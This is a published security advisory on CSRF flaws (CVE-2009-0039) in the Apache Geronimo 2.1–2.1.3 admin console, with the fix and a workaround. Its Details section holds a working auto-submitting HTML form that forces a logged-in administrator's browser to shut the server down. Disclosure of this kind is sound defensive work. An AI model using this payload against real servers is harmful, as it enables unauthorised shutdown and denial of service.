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[DSECRG-09-020] Apache Geronimo - XSRF vulnerabilities



Original Advisory:  http://dsecrg.com/pages/vul/show.php?id=120


Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-020

Application:                Apache Geronimo Application Server
Versions Affected:          2.1 - 2.1.3
Vendor URL:                 http://geronimo.apache.org/
Bug:                        Multiple XSRF Vulnerabilities
Exploits:                   YES
Reported:                   10.12.2008
Vendor response:            10.12.2008
Solution:                   YES    
Date of Public Advisory:    16.04.2009
CVE-number:                 2009-0039
Author:                     Digital Security Research Group [DSecRG] (research 
[at] dsecrg [dot] com)



Description
***********

Geronimo Server Console multiple XSRF vulnerabilities.

Various cross-site request forgery (XSRF or CSRF) vulnerabilities were 
identified in the Apache Geronimo web administration console.

This affects all full JavaEE Geronimo releases or other distributions which 
include the administration web console up to and including Geronimo 2.1.3.



Details
*******

Exploiting this issue may allow a remote attacker to perform certain 
administrative actions, e.g. change web administration password, upload 
applications, etc... using predictable URL requests once the user has 
authenticated and obtained a valid session with the server.

Example [Shutdown Server]:

<html>
        <form 
action='http://[server]/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager!-1172254814|0'
 id=1>
                <input type=hidden value='Shutdown' name="shutdown">
                <input type=submit>
        </form>
</html>
<script>
        document.getElementById(1).submit();
</script>



Solution
********

This security vulnerabilities fixed in Geronimo 2.1.4 release.

New version of Geronimo 2.1.4 can be downloaded from this location:

http://geronimo.apache.org/downloads.html

An alternative workaround (if you choose to not upgrade to Apache Geronimo 
2.1.4) would be to stop or undeploy the administration web console application 
in the server.

Credits
*******

http://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214



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